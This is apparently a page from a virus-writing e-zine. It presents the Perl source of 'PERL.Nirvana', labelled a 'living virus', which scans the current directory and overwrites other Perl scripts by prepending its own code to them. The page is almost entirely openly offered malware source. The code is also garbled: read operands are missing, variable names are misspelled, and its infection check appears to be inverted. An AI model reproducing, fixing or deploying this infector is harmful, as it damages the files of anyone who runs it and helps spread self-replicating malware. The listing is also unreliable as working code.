The Revoluti0n

last article	table of contents	next article

PERL.Nirvana by Second Part To Hell

#!/usr/bin/perl
# Nirvana RuLeZ the world
# PERL.Nirvana
# by Second Part To Hell

# Thanks to SnakeByte for your tutorial!

open(file,$0);
@nirvana=;
@nirvana=@nirvana[0...31]
close(file);

foreach $FileName (<*>)
{
  if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  {
    open (File, "$FileName");
    @Lithium=;
    close(File);
    if ((@Lithium[1] =~ "Nirvana") or (@Lithium[2] =~ "Nirvana"))
    {
      if((@Lithium[0] =~ "perl",,i) or (@Lithium[1] =~ "perl",,i))
      {
        open(sliver, ">$FileName");
	print sliver @Nirvana;
        print sliver @Litium;
        close (sliver);
      }
    }
  }
}

living virus